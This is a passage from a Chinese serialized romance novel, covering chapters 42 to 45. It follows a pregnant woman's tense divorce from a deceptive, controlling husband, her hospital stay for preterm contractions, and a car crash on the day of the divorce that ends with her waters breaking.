黎铮憔悴的脸黯淡几分,低声哄道:“我想和你在一起,只要我们在一起,什么问题都能解决。” 甄宝珠现在最见不得黎铮这幅可怜样儿,一见到他沉郁的眼睛,就忍不住想起他曾是怎么哄骗她,让她发自肺腑心疼他的。 “我不想和你在一起!”甄宝珠的胸腔上下起伏,使力冲他吼,一手在包里乱翻,把打火机砸进他怀里。 “这破玩意儿也是你的!我把你的东西都还你,离婚!” 黎铮还真从大衣口袋里掏出半盒烟,低头准备点一支。 甄宝珠猛地抽出他嘴边的烟,狠狠扔在地上,狂踩两脚,“当着孕妇面儿抽烟,你是不是欠抽?” 黎铮眉梢微抬,冷言道:“你不是要去引产吗?” “你是以为我在和你开玩笑?还是真不怕我去引产?” 黎铮的目光逐渐执拗,声线冷而尖锐:“我问过了,你现在是孕后期,引产极度危险,哪个医生敢给你做引产手术,我可以把医院告倒闭,甄宝珠,这种不负责的任性事你再挂嘴上试试。” 黎铮难得被人激怒,凌厉目光盯着她黑亮的眼睛,破天荒低声了句脏话,“欠操。” 甄宝珠瞪大眼睛,不敢置信自己听到了什么,“你再说一遍?!” 她的手臂已经抡起来了,却被黎铮捏住手腕,往前拉进他怀里,他贴着她的耳朵,像条发情的公狗,“我欠抽,你欠操,你抽我,我操.你。” 甄宝珠被这倒反天罡的言辞吓坏了,在黎铮怀里挣扎又挣扎。 “你在威胁我?” “是你在威胁我。” 黎铮步步逼近,高大身躯的阴影笼罩着她,他往前走一步,甄宝珠就往后退一步,直到退无可退,背脊紧抵车门,黎铮阴沉的脸近在咫尺。 “是你有恃无恐,用我对你的爱逼我,我可以认错,甚至可以跪下给你认错,你想回娘家冷静冷静我随你,你姐姐想惩罚我我也受着,你想要什么我都可以给你,不离婚是我的底线,你听清楚了吗?” 他身躯紧绷,眼神中的扭曲让甄宝珠意识到,他病了。 甄宝珠护住身子躲闪,却被他扳住肩膀,她觉得胸腔憋闷,眼睛也热热的,当初她被他身上的危险气息吸引,现在又避之不及。 “你能不能放过我?”她身软心崩溃。 “不能。”他后退一步,给甄宝珠留下些喘息空间,又把新房子的门禁卡塞进甄宝珠手心,脸色依然凶巴巴的,“如果你打算原谅我了,我去接你。” 随后他转身离开,在车上又吃了几片药。 * 甄宝珠站在停车场,手里紧紧攥着门禁卡,望着驶出民政局的车尾灯发呆。 想不清楚,说不清楚。 他们的关系是怎么变成这样的。 黎铮从来不是一个死缠烂打的人,她见过他决绝地了断感情。 她本应该愤怒,但现在内心各种复杂的情绪交融,反而分化了怒意。 她怕黎铮,也恨黎铮。 但隐藏在畏惧与怨憎后的是什么,她不敢承认。 * 她的车刚开出民政局大门,魏铭就站在路边向她挥手,旁边停着甄家的商务车。 甄宝珠降下车窗,望向他的目光空洞无神,“你每天不上班吗?” “我不放心你,”魏铭一看甄宝珠的表情就知道不太顺利,“下来,我开车。” 甄宝珠知道现在的状态不适合开车,她托着孕肚下车,把钥匙甩给魏铭,说:“你开去上班,我坐商务回家。” 魏铭张了张嘴,想问些什么,甄宝珠却没搭理他,迳直上车关门。 * 黎铮的车开到半路,他打开手机,查看早就安在甄宝珠车上的定位器路径。 那辆红色跑车行驶路线并不去往甄家,他眉头一紧,让司机调转车头,一路跟着那辆车的路径走,一直跟到市立医院,红色标识再没移动过。 黎铮的心瞬间提到嗓子眼儿,打甄宝珠的电话,却早已进了黑名单。 他用司机的手机打给甄宝珠,电话一接通,他斥问:“你去市立医院干什么?” 甄宝珠坐在自家商务车上,车子已经驶入甄家的停车场,司机下来给她开门,她困惑了几秒钟,茅塞顿开,“你在我车上装什么了?” “我警告你” 黎铮话没说完,电话挂断了。 他深吸一口气,不死不休地打甄宝珠电话,连打几个她都没接,再打又进入了黑名单。 黎铮的心仿佛要从胸腔跃动而出,他知道甄宝珠向来反叛,但他不相信她会对自己的身体不负责任,况且,她很爱这个孩子。 他直奔妇产科,发现甄宝珠并不在那里,他在医院到处打听、寻找,最后一个人孤零零地守在妇产科等待,看着一对对夫妻从产科走出来,在他眼前走过。 丈夫搀扶妻子,脸上洋溢着真实的喜悦,那样欣愉的笑容也曾经在他和甄宝珠的脸上出现,当时他也是这样时刻关注、搀扶着甄宝珠,觉得幸福从未离他这么近过。 现在他们争吵、失望、互相威胁,所有的不体面都是因为察觉到幸福越走越远,想用一根麻绳拽回摇摇欲坠的感情,最后只能留下粗糙的血痕,在手心,在心里。 即便这样,他不愿放手。 司机打电话给他,说宝珠小姐的车被一个男人开走了,他立刻想到魏铭。 他把甄宝珠藏哪儿了? 他跟着魏铭的车一路行驶,直达甄家。 红色跑车开进去,魏铭人也没出来过。 黎铮把司机打发走,自己一个人在车里,才意识到可能是一场乌龙。 目光紧紧盯着甄宝珠卧室亮灯的窗口,时而影影绰绰,他只恨车里没有配备一台望远镜。 因为看不到,所以浮想联翩。 魏铭住在甄家? 魏铭是不是在照顾甄宝珠? 她是不是也把魏铭当做抱枕,整晚抱着? 想到这些,他的心就像被人掏出来扔进海里不断下沉,咸涩的海水冲进心室,藻类像长鞭狠抽心房。 十点一过,甄宝珠的灯灭了。 黎铮的心沉到海底最深处。 第43章 第 43 章 冷静期(二) 甄宝珠离婚未遂的当晚, 做了一个昏沉到醒不过来的噩梦。 她梦到黎铮吻她,那个吻像他醉酒的午后那样轻,羽毛一般扫过她的唇, 她启唇想要回应,心脏却开始隐隐作痛,低头一看, 子弹洞穿黎铮的皮肤, 留在她的身体。 鲜血留了满地, 她分不清那是黎铮的血还是她的血, 只觉得呼吸困难,心脏绞痛。 黎铮捧住她被汗浸湿的脸,指尖温柔抚摸她的酒窝, 目光如冬日暖阳一般, 声音轻柔得像在念一首情诗。 “以后你的命比我的命重要。” “你会出轨,或者犯罪。” 她看不清梦境与现实, 也无法分辨哪个才是真正的黎铮。 “我不坐牢!”惊醒之后她大口喘气, 浑身汗湿, 立刻望向窗外。 她不知道那是害怕还是期盼,总觉得窗外或许会站着一个被雨淋湿的人。 但窗外无雨,只有一轮月。 她又哭了, 薄纱睡衣胡乱擦着奔涌而出的眼泪,模糊的双眼隐约望见魏铭站在她的床前。 他被甄宝珠梦中的哭声引来, 推门而入,小心翼翼在她的床边守护。 她做了噩梦, 蜷在床上拚命抽气,像做了大手术后麻药失效的病人,痛到无法承受。 在魏铭的印象里, 甄宝珠总是笑的,酒窝像小猫踩雪留下两个浅印,让每一个看到的人都可以短暂原谅这个世界,现在他看着甄宝珠的眼泪,再也无法原谅任何人。 “你哪里难受?”他的手掌碰了下甄宝珠的腿弯。 甄宝珠从床上坐起来,后背抵着床头,双手捂住心口,眼泪啪嗒啪嗒掉在睡衣上。 魏铭靠近她,消毒水味包围着她,没让她感觉到一丝一毫的安全,他搂住甄宝珠,不停向她道歉,说他应该早点回来。 甄宝珠却哭着用手臂推开他,脆弱的哭腔让他出去,说她没事。 她在抵触,他能感觉到。 以前他们出国,也曾住在一起,甄宝珠总是不吝于肢体接触,好像魏铭是她养的宠物,总要捏捏脸,摸摸头。她消沉的时候,他也给过她拥抱,她都是安心接受的,现在他抱住她,想安慰她,她却推开了他。 甄宝珠变了。 什么时候变的? * 直到第二天,魏铭开着自己的车从甄家出来,却被横冲过来的奔驰商务车逼停。 他望着对面车里双眼疲惫的黎铮,皱着眉头下了车。 黎铮降下车窗,攥紧方向盘,骨节咯咯作响,沉郁目光狠盯着魏铭,在他身上寻找微末的变化。 魏铭换了衣服,说明他有衣服在甄家,说明他在甄家住了很多天。 “你还来这里干什么?”魏铭用中指推了下无框眼镜,自然也没有好脸色。 “我是甄宝珠的合法丈夫,我们还没有离婚。” 魏铭活动脖颈,仰天呵笑,“那为什么你连甄家的门都进不去?” 黎铮开门下车,一把拽住魏铭的衣领,动作利落地把人重重摔撞在车身上,手臂抵着他的肩骨,冷森目光逼视魏铭,额角绷起狠厉的筋线,“你是故意让甄宝珠知道的,是不是?” 魏铭也知道自己打不过黎铮,干脆不反抗,只是一向温和的脸泛起狰狞之色,“你有什么资格质问我?如果你能让宝珠幸福,我愿意瞒她一辈子,但你用下流的骗术伤害她。” “这是我们夫妻的事,不用你来审判。” “夫妻,”魏铭冷笑,“你知道你的妻子昨天做噩梦了吗?” 黎铮微怔,她在做噩梦?他怎么知道的? 魏铭狠推开黎铮,重新整理衬衫,说:“对于曾经的甄宝珠来说,吃不到好吃的东西,买不到想要的包包就是噩梦,但她昨天做梦,梦到的是去坐牢,这些都是因为你,她现在怕你,你明白吗?你这种人,根本不配得到别人的爱和怜悯,你死几次都不足惜,但别拉着宝珠下你的地狱。” 黎铮是个危险的人,那是魏铭经过调查得到的结论。 他可以和杀害父母的人握手言和再做生意,合作结束他赚到大把的钱,才转头把对方送进监狱。 魏铭不能允许黎铮再接近甄宝珠。 魏铭的恶言无疑像一根刺狠狠扎进黎铮心里,让他膨胀的嫉妒心迅速萎缩,只剩下对甄宝珠的担忧。 他本以为甄宝珠会像他一样,会不适应对方不在身边的生活,但他想错了,甄宝珠怕他。 是他的出现,让甄宝珠简单的生活变得复杂,她本来不应该背负他的人生。 “我想再见见她。”黎铮对他的情敌说。 “别再做梦了,甄家已经做了层层安保措施,你和她下次见面只会是领离婚证那天。” 魏铭驾车离开,留下黎铮将拳头狠砸在防弹车窗。 他离甄宝珠很近,却见不到她。 * 甄宝珠怀孕三十二周,魏铭陪着她去医院做了常规检查。 她在产科又见到刘医生,两人都愣了一下。 是有段时间没见面了。 刘医生从事产科很多年,见过很多孕妇,大多数孕妇到孕后期是不太注重打扮了,很多时候都是素颜穿着宽松的孕妇装来医院检查,从那些孕妇不施粉黛的脸上,能真实看到婚姻的幸福与不幸。 至于甄宝珠,她印象很深,不止是因为她长得漂亮,而是刘医生曾在黎铮的豪宅里,只关注着这一个孕妇。 甄宝珠整个孕期都化淡妆,穿精致昂贵的裙子,脸上总是富足幸福的样子,娇气得像个被宠坏的公主,被她数落少吃糖的时候,虽然脸上是要哭的表情,脸色还是白里透红,腮间的红晕像高级超市售卖的贵价苹果。 刘医生当然听说了甄宝珠离婚的事儿,她从来没想过这小两口的婚姻能有什么危机,黎铮是少有比孕妇本人还要上心的丈夫。 现在见了甄宝珠本人,她大为吃惊,没想到离婚对甄宝珠的打击竟然这么大。 甄宝珠虽然妆容依然清淡,裙子也依旧昂贵,但她脸上少有血色,苍白像纸一样,唇上点点粉红更衬病色,她坐在那里等待,过程中从没笑过一下,身边陪她的男人据说是从国外回来的青年医生,紧紧追随却并不能让她开怀。 甄宝珠也疑惑,“刘医生,你怎么又回市立医院了?” 刘医生说:“黎总不让我告诉你,其实当时我们约定好了,他给医院捐设备,我退休后在他那里待到你分娩,然后带着设备回医院,私人医生是挺省心,但我也不想荒废技术,后来你们黎总就让我带着设备提前回来了。” 甄宝珠垂下眼睫,点了点头。 刘医生问她:“你的脸色特别不好,吃不好?还是睡不好?” “睡不好,总是做噩梦。”甄宝珠说。 “现在怀孕几周了?” 甄宝珠低头抚摸肚子,“三十二周,我记得。” 聊了几句,刘医生发现甄宝珠话也特别少,不由考虑产前抑郁的可能。 她从办公桌抽屉里拿出个蓝色档案盒,打开前后翻了翻,又递给甄宝珠,“我走之前黎总给我的,你看看?” 甄宝珠接过沉甸甸的档案盒,在刘医生开检查单的间隙打开,里面记录了甄宝珠怀孕以来所有检查。 住在思懿庄园的时候,她没事儿就找医生用超生仪看胎儿,胎儿在孕肚里的照片也能组成一本相册,都被整理妥帖放在里面。 塑封的纸张,第一张是她在美国做的妊娠化验,黎铮刚劲有力的字体写在页眉,记录甄宝珠检查的时间。 每一页都写有她当下的孕期,书写内容也越来越详细,有时还附一大堆便利贴上去。 【甄宝珠孕5周】 【甄宝珠孕10周,人流未遂】 【甄宝珠孕17周,羊水穿刺结果正常:)】 【宝珠孕20周,四维彩超,附胎儿第一张照片】 【宝珠孕21周 12月25日晚间,第一次胎动,补充DHA】 【宝珠孕24周,糖耐筛查临界值,附营养食谱、高糖水果清单、妊娠期糖尿病危害及治疗方案】 甄宝珠看着那些黎铮手写的文字,心里泛起一种难言的感觉,他怎么能做到一边欺骗她,一边事无钜细地关照她。 人性本来就是复杂的,他是复杂的,就像现在甄宝珠的心情也是无限复杂。 起码这些时刻,黎铮是爱她的吧? 刘医生递给她血项检查申请单,又开玩笑地问她害不害怕抽血。 甄宝珠摇头,勉强笑笑。 魏铭出去缴费,让她先上楼在检验科等他,他想为她拿手上的档案盒,但甄宝珠闪身躲过,怀里抱着档案盒,一言不发上了楼。 甄宝珠刚上楼,就在抽血窗口看到黎铮,他站在那扇窗口前,远远望着她缓慢前行的脚步。 窗口的阳光打在他身上,但他像一个虚弱的影子,精神摇摇欲坠,他们像是两个无药可治的病人,都有着苍白的脸颊,失望的双眼,缺失水分的嘴唇。 他们隔着穿梭的人群对视, 视线迢迢,心距遥遥。 黎铮在那里等她,脚步却停在原地,不敢再向前一步。 甄宝珠的手指尖捏紧蓝色档案盒,也站在远处,无法装作没看到他。 攒动的人头仿佛静止,他们只能看到彼此,同时屏住呼吸,再相遇,还是一眼万年。 魏铭上楼之后皱紧眉头,挡住黎铮的视线,俯身对她乖哄,“去我办公室,我让护士给你抽血送到检验科。” 甄宝珠摇头,给了魏铭一个坚强的眼神,“已经来了,不用麻烦了。” 她走到抽血窗口坐下,很自觉捋起袖口,伸出胳膊保持弯起手臂的等待动作,偏头不去看护士的准备过程。 清瘦的两腮很容易就能看到骨节微动的形状,她咬牙忍着。 黎铮试着向前走了两步,一边脱下西装外套,拳头紧紧攥着,快要走到她身边,手臂也刚抬动起来。 “不用。” 甄宝珠嘴唇微动,声音很低,但他能听到。 采血针穿进她的皮肤,护士又换了几个采血管,针头在她的血管里旋转半圈,甄宝珠没有发抖,护士让她攥拳,她就攥拳,护士让她松手,她就松手,全程配合,一声不吭,一滴眼泪都没有掉。 她自己按住棉签,起身就走。 黎铮愣愣站在原地,望着她离开的背影,她走得缓慢小心,却没有回头。 她不怕疼了, 可是, 为什么他觉得,好疼。 * 甄宝珠一直空腹,等待结果时魏铭递给她面包和牛奶,她坐在长椅上啃面包,眼神却一直木木的,进食动作很机械。 魏铭的目光始终紧随,很久之后他忽然问:“你以前最怕打针了,现在怎么了?” 她喝了一口牛奶,仰头对着魏铭担忧的脸,勉强笑笑,“习惯了,你没听人说吗?女子本刚,为母更强。” 她想开个玩笑,让魏铭不要这么担心地看着她,但魏铭没笑。 牛奶顺着吸管掉了一滴在身上,她垂下头掐着一小片衣料搓搓,说:“如果我还娇气、脆弱,以后怎么给孩子做好榜样?” 魏铭唇角下弯,他宁愿甄宝珠永远是一朵温室里娇气的花。 喝完牛奶,她站起来去垃圾桶旁扔掉牛奶盒,忽然觉得肋骨后一阵阵地微痛。 她按住肋骨,走到产科门诊,“刘医生,麻烦你再给我做个胎心监护,我觉得有点儿不对劲。” 又做胎心监护,刘医生眉头微皱,说:“刚才还好好的。” 甄宝珠的心瞬间悬起,忙问:“什么意思?” “这是宫缩,”刘医生说:“你待在医院观察,如果宫缩频繁就得准备住院保胎。” 甄宝珠愣了会儿,呼吸也变得急促。 疼痛感一直没有缓解,又做几次胎心监护之后,甄宝珠当天住院了。 * 黎铮得知甄宝珠住院的消息,只觉得大脑暂停了思考。 他问到甄宝珠的病房号,坐电梯的时候手一直在抖,按了上下两层楼,自己都没有发觉,走错楼层又登上步梯,他站在甄宝珠的单人病房门前,护士正推着输液车进去,他却被里面走出来的魏铭挡住去路。 “滚开。”黎铮脸庞冷峻,语气不容反驳。 魏铭恨恨咬牙,钳住黎铮的手臂,把他拉远,“宝珠一直好好的,今天见了你才要保胎,你还敢见她?今天你能见到她,老子跟你姓!” 黎铮怔忪在原地。 她对他的惧怕,已经到了这种地步吗? 他甩开魏铭的手臂,大步流星往病房去。 一向温和的魏铭摘掉眼镜,脱下白衣,冲黎铮脸上用力挥了一拳,狠声咆哮:“你他妈就是个丧门星,谁在你身边都逃不过厄运,甄宝珠不是你那该死的父母,离她远点儿!滚!” 黎铮擦了擦唇边的血迹,一双眼睛通红,“她现在需要我。” “她现在最不需要的就是你。”魏铭揎拳捋袖,怒气冲冲。 两个人将要缠打在一起,一道温柔的女声在走廊响起。 “魏铭。” 甄玉珠身后跟着几个保镖,在她说话间齐齐挡住病房的门,像一道坚固的人墙。 她俯身捡起魏铭扔在地上的白衣,平静地说:“你们都走,想打架去外面打,不要在我妹妹眼前。” 黎铮俯身紧攥住甄玉珠的轮椅扶手,桀骜双眼紧紧盯着她的眼睛,“我只是想知道她现在的情况,别拦我。” 她冰冷回视,目光不再隐藏狠意,平静、但警惕,像一头保护幼崽的母狼,“想知道去问医生,宝珠现在不能见你,你要有自知之明,还是你想让我妹妹出事?如果你还有一丝理智的话,请你安静地离开,不要发出任何声音,甄宝珠现在怕你,但我不怕你。” 黎铮目光微动,胸腔起伏。心像被钝刀切开,他的口腔溢满血腥甜味,像他的人生,充满血腥,只有一丝丝的甜,他却没能守住。 是他的气味蔓延到甄宝珠的人生里。 是他把甄宝珠变得苦涩。 他一言不发,认命般点了点头。 他与甄宝珠的距离从咫尺,变成无限。 * 甄宝珠在单人病房住了四天,每十二小时打一针促肺针,每六个小时要监测一次胎心,还做了一些心理鉴定,她每天都睡不好,但仍迫着自己慌乱的心镇静下来。 那几天,甄玉珠和甄世明轮流陪着她。 玉珠说要打电话给爸妈,却被甄宝珠拦下,“我没事,我的孩子很坚强的,爸妈回来还要听到我和黎铮离婚的消息,咱们家这几个孩子都不省心,别让他们跟着难受了。” 甄世明陪她的时候,谨慎小心地对她说:“黎铮一直在问你的情况,我本来不想和你说的,但是他说什么想最后见见你,我有点儿担心,他毕竟是孩子的爸爸,要不你们把离婚的事先放一放,等到你平安生下孩子之后也不迟,有我们在,他不敢怎么样的,你这个时候还要住院,我也担心你承受不了。” 甄宝珠摇头,输液的手指抠着床单,“我没事。” 沉默良久,甄宝珠又犹豫地问:“他说想最后见见我是什么意思?” “不知道。”甄世明看着妹妹担忧的表情,试探轻问:“要不,你当面问问他?” 甄宝珠闭上眼睛,半晌之后,她重新睁开眼睛,点了点头,“他就在外面,是吗?” 甄世明轻轻颔首,“他一直在外面。” 黎铮一直守在医院,甄玉珠在的时候他就离开,甄世明在的时候他就坐在门外的长椅上等着,像一只流浪狗,被人驱赶得多了,懂得看脸色。 他帮过甄世明,他们都是父亲,甄世明多少能理解他。 甄世明走出病房,黎铮垂首坐在长椅上,甄世明轻叹一声,回忆起初次见到黎铮的样子。 这个男人风度极好、松弛潇洒、运筹帷幄,人群中你就知道他会是唯一的赢家。 此时黎铮抬起无神的双眼,仿佛精气神被人从眼里生拔了出来。 几天了,他总穿一套衣服,人消瘦太快,西装明显不合身,头发长了也没有修剪,落拓的样子和精致的红宝石婚戒极度违和。 “宝珠让你进去,记得别提孩子的事儿。”甄世明面无表情警告他。 黎铮的眼里似乎注入了一点微茫的光。 甄宝珠病房的门被轻轻打开,房间里安静无比。 她侧躺在病床上,扎了几次屁股针,无法平躺,肚子也坠得疼,腹部以下垫着一个软枕头,手背扎着留置针,定时吸氧的管子挂在脸上,那张脸很小,细管把鬓边的头发勒得凌乱,阳光照在她身上,却无法扫去脸上病态的苍白。 她垂眸望着黎铮脚步缓慢走向她,时刻准备停下,不再靠近她。 “我能坐下吗?”他的目光扫过甄宝珠病床前的椅子。 她一直没说话,手掌无力地拍了拍床沿。 好像很久没见过黎铮了,他身上的变化实在太大,胡茬几天没刮,眼神中满是疲态。 他轻轻碰触她冰凉的手背,上面还有针头扎过留下的淤青,只碰了一下,又恋恋不舍地挪开。 甄宝珠哑着嗓子,微弱的声音说:“医生说我没事了,两三天就能出院。” 黎铮默默点头,自言自语:“那就好。” “你说最后见我是什么意思?”她的语气有一丝不易察觉的彷徨。 黎铮暗吸口气,声音有些哽咽,“我知道我做错了很多事,让你不再信任我,不管什么惩罚都是我应得的,但你不要折磨自己,我知道你现在怕我,也知道你担心你和孩子的安全,过几天我把这边安顿好,等我们离婚了,我就去美国,以后我不会再回来了,离你远远的,你放心。” 甄宝珠咬着唇壁,望向他长出青茬的下巴,不敢与他对视,那双眼睛一定很可怜,她怕自己心软。 “你是说,你要走?”她不知道为什么声音开始颤抖。 “嗯,我给孩子留了一笔基金,到时候让关林和你交接,”他顿了顿,“如果你愿意接受的话。” 他会重回伤心地,也不愿意留下,让这个曾经发生爱情的地方成为甄宝珠的伤心地,甄宝珠曾经解救过他罪戾的人生,他不能恩将仇报。 这几天他自己想通了,或许魏铭说的没错,他是个丧门星,这颗意外撞进他生命中的宝珠,他不应该让她黯然失色。 甄宝珠一时不知道该说什么,只是摇头,说:“我不要你的钱。” “除了钱,我也没什么了,”黎铮苦笑,“如果你愿意的话,生下孩子之后给我报个平安,短信就好。” 他伸出手,把甄宝珠凌乱的头发重新别回耳后,对她笑了笑,“甄宝珠,我同意和你离婚。” 第44章 第 44 章 黎铮,我长妊娠纹了。…… 黎铮说些话的时候, 表情郑重、言辞恳切,听起来像在求婚,但望向甄宝珠的双眼缺少了期盼的光彩。 甄宝珠什么都没说, 只是看着输液滴管的液体一滴一滴缓慢坠落。 每落一滴,她的眼睛就眨一下。 一定是眨眼次数太多,所以觉得眼眶酸痛。 时间慢速流动, 仿佛要把娓娓道来的真心变成永恒。 甄宝珠觉得他突然变得特别话多, 好像要把一辈子的话都说完。 “最近我想了很多, 始终没想明白一个问题, 到底在我们感情发展的哪个节点,告诉你真相才不会让你难过。”他无奈摇了摇头,“甄宝珠, 关于你的问题总是很难解。” 甄宝珠闭唇不语, 这个问题对她来说也很难。 “当我意识到你得知真相后会离开我,我做了错误的选择, 错误的决定, 完全出于自私的想法, 想要你,想要完全地占有你,也是那个时候, 我才明白对你不只是喜欢。” “我也想明白了一些事,想明白了我是什么时候喜欢你、爱上你的, 你这个人和我的择偶标准出入很大,但我爱上你却好像不是意料之外的事。” 黎铮曾仔细回想, 甄宝珠确是个爱笑的人,但他喜欢她、爱上她,好像都是因为她的眼泪。 喜欢她, 在她羊水穿刺的前夜。 黎铮在外地,用家里监控器看到她坐在沙发上抹眼泪,蜷缩成脆弱的一小团,让他生长出保护欲。 爱上她,在她抵在他胸膛哭泣时。 他看到一个同在异国他乡的年轻女孩,不惜大打出手,也要维护尊严,勇于向权威者提出质疑,那颗勇敢的心将他征服。 想到她的眼泪,他的眼眶也开始泛红,“想不明白的以后我到美国再慢慢想,现在我想和你说,对不起。” 甄宝珠的目光终于从冰冷的输液器上挪开。 清眸流转一个世纪,撞上一座火山。 血丝如熔岩在眼中弯折,汹涌地颤动。 “我知道说一万遍对不起都弥补不了对你的伤害,好像我现在唯一能做的,就是自觉离开你的生活,让你能够感觉安全和放心。” 他有千言万语,三天三夜都说不完。 但他紧紧看着甄宝珠,害怕说到什么让她不满,让她伤心。 她一皱眉头,他就不说话了。 断断续续也说了很久。 最后,黎铮喉结缓缓滑动,眷恋又不舍地说:“如果你没有想和我说的话,我、我就走了,不会再来打扰你,等到冷静期过后的第一天,我就去接你离婚,可以吗?” 他站起身,甄宝珠也没有半分要开口的意思。 直到快走出病房,甄宝珠忽然叫他的名字。 他回过头站定,等着她说点儿什么。 始终没有等到,她看了一会儿他,侧过身去的动作像身体叹了口气。 黎铮的心深深沉下去,关上了门。 * 甄宝珠的眼泪在门关上的那一刻静默而出。 右眼的泪流进左眼,然后眼泪结伴,淌进枕头里。 她想和他说:“黎铮,我长妊娠纹了。” 她的嘴巴紧抿,大脑阻拦唇舌不要懈怠,真心话说出口,随之而来可能又是一场骗局,一个圈套,但心脏说它不相信,在腔骨内聒噪、蹦跳、大闹,眼睛被心脏折腾得难过,流下一把辛酸的泪。 * 对于黎铮来说,这也是一个很难的决定。 悬而未决是他从不喜欢的一种状态,稳定股价之后,公司的事情还有很多,他逐一安排好,对外宣称自己想放个长假,控股股东暂时不能改变,会引起新一轮的投资恐慌情绪,日后的事还要从长计议。 他每天在公司待十二个小时,直到凌晨才回家,像是在躲避着什么,他买回家的山茶花早就断了头,躺在地上枯萎成干涩的尸体。 黎铮不敢开灯,怕想起些什么,也睡不着。 在凌晨三点走近书房,打开监控视频,几十块屏幕回溯时光,他总能第一时间捕捉到甄宝珠的身影仿佛她还在身边。 那是她怀孕六个月的时候,他上班不在家,甄宝珠总是扶着后腰在客厅走来走去,缓慢地锻炼身体,又一遍遍地去卫生间。 她也和他讲过腰疼腿酸,但语气是撒娇的、轻佻的。 他不在的时候,甄宝珠走着走着就得停下来,一手扶着腰,一手按按抽筋的小腿,好几次,她疼哭了,一个人默默地擦眼泪,在他回家之前又整理出一张笑脸迎接他。 更多时候,是稍息陪着她。 她怀了孕,脱离单身朋友的群体,一个人觉得孤单就总是逗狗玩儿,把小狗抱在怀里当小婴儿,拆出纸尿裤跟着网上的教学视频反覆给狗穿上脱下,那是他们在孕妇学校上课之前,难怪她那么熟练。 在他回家前,她手握眉笔,一脸郑重地对稍息说:“黎铮快回来了,我们稍息漂漂亮亮迎接他好不好?他工作也很辛苦的,给你画个眉毛让他笑一笑。” 时光逐渐倒退。 她从挺着肚子,到小腹平坦坐在他身上,掐着他的下巴问他:“你装什么正人君子?” 他竟然没发现那天他进门的时候,甄宝珠就站在二楼风情万种地向他打招呼,他看着监控视频里甄宝珠气急败坏提起睡袍的样子,忍不住笑了。 笑着笑着,他觉得眼睛热热的,甄宝珠的身影越来越模糊。 直到天亮,他仍沉浸在那些跃动的图像中无法自拔,他能在这里找到甄宝珠爱他的证据,虽然她从来没说过爱他,甚至说恨他。 她的爱,都在行动里。 他不用去从细枝末节推敲,她的爱恨向来是大大方方摆在明处,黎铮越来越清晰地醒悟,他配不上她,配不上她的爱。 * 他们正式离婚的那天,是春天的最后一天。 黎铮一大早就来接甄宝珠,开着送给她的那辆路虎揽胜。 甄宝珠穿了一条素白长裙,他新定制了一套黑西装。 两人领离婚证的衣服倒比结婚时更搭配,婚戒还各自戴在手上。 黎铮为她打开后排车门,她自己绕过他,拉开副驾驶坐上去,又自觉系上安全带。 她还是想再看看黎铮,和他并肩走一段路。 为了今天,他刮了胡子,剪了头发,头发比平时还更短一些,面容更加刚毅,下颌线也因为瘦了十几斤更清晰,整个人说不上容光焕发,但也精精神神。 那一段路很长,车也开得很慢。 音响里的温柔女声唱着那首他们喜欢的歌。 “该隐瞒的事总清晰,千言万语只能无语。” “爱是天时地利的迷信,原来你也在这里。” 他们静静听着、沉默着。 过了很久,甄宝珠低着头,问:“什么时候走?” 问完她又皱眉,觉得自己问得不对,她本来不想这么问的。 “今天下午的飞机。”黎铮的回答很平淡,好像已经全然接受这样的结局。 甄宝珠哦了一声,又沉默下来。 他已经计划好了,上午办完离婚手续,下午就离开这里。 甄宝珠一直抠弄自己的衣摆,好像那上面有什么脏东西,但实际什么都没有。 “宝珠,”他轻轻叹息一声,仿佛已经预料到这个名字以后会很少提起了,“一会儿办完手续,你把车开走,房子装修也快收尾了,可以让魏铭帮忙看着点儿。” 甄宝珠摇摇头,“我不要。” 黎铮目视前方,浅笑了下,说:“不是送,想换你点儿东西,这个戒指,还有你的护身符,我想带走,可以吗?” 甄宝珠想了很久,点头答应。 那是她送给他的礼物。 她犹豫了很久,又和黎铮说:“孩子出生,我会给你报平安。” 她知道,就算她不说,黎铮也一定会从别的地方得到她和孩子的消息,可是,她还是想亲自告诉他,让他能少担忧片刻。 分离之际的人们总是很大度。 两个人大概早已流干了眼泪,所以一路上都特别平静。 她想起第一次见到黎铮的情景,忽然释怀地笑了笑,“第一次见你的时候,我就觉得很熟悉,好像在哪里见过。” “我的错。”他很快地认错,几乎成了一种条件反射。 甄宝珠说:“现在不想讨论对错了,我是想说,你那张证件照片,拍得挺好看。” “大学时候拍的。”黎铮紧蹙的眉心也放松了些。 她回想起自己当时看着那张照片,想像他如何取精,现在想到还是控制不住唇间微扬。 她随口一问:“你捐精的时候在想什么?” 黎铮想了会儿,说:“女人。” 轻松的气氛只维持了一分钟。 甄宝珠忽然扭头,眯着眼打量他,“什么女人?” 黎铮沉默,目光斜睨过来,又迅速直视。 甄宝珠直起身,手指尖儿狠戳他的手臂。 “说话。” “忘了。” 甄宝珠呵笑一声,明知道自己马上就没有资格问了,还是忍不住想生气。 不对,她现在还没离婚呐。 还有资格问! 她立刻上手,对黎铮又掐又扭,“现在想,她什么人?长什么样?” “想不起来了,”黎铮身体躲闪,方向盘也跟着晃动了一下,“以后不要在车上跟人打闹,注意安全。” 他一边躲,一边小心翼翼看着甄宝珠生气的表情,没注意到对面极速驶来的汽车,那辆车全速冲路虎揽胜撞击过来,等他发现的时候已经避无可避。 千钧一发之际,黎铮紧握方向盘全力转动,车轮和地面擦动发出刺啦啦的厉响。 零点一秒之后。 砰! 路虎揽胜被斜撞出五米开外,瞬时的冲击力让车内所有安全气囊都弹了出来,短暂的窒息感包围黎铮,他眼前模糊不清,鼻腔里灌满汽油和浓烟味。 意识稍稍恢复,他立马看向甄宝珠。 她双眼紧闭,仰头昏迷。 主驾驶方向的车门变形无法打开,他压倒座椅,从后排爬滚出去。 初升的日光照得他睁不开眼,眼前重影连连,不远处那辆车却在他的记忆里无比清晰。 那是他送给朱莉的成年礼物。 来不及细想,黎铮猛力拉开副驾驶车门,甄宝珠已经从短暂的眩晕中逐渐清醒过来。 他颤抖的手解开捆绑甄宝珠的安全带,甄宝珠惊恐地环着他的脖颈,整个人都用力往他身上靠。 “别怕,别怕!”黎铮的声音都在抖。 甄宝珠惊魂未定,剧烈喘气,双手紧抱他的脖颈不肯松开,她把脸埋进他的颈窝,带着哭腔说:“吓死我了,我要是死了,你以后不得开坦克出门。” 黎铮轻拍她后背的手停顿一下, 想哭又想笑。 他把手臂伸进甄宝珠腿弯,想要把她抱出来,就听她在耳边轻颤低喘:“黎铮,我好像吓尿了。” 黎铮的目光定在座椅上,甄宝珠的白裙子湿了一大片。 第45章 第 45 章 甄羲出世。 “让一让!让一让!” 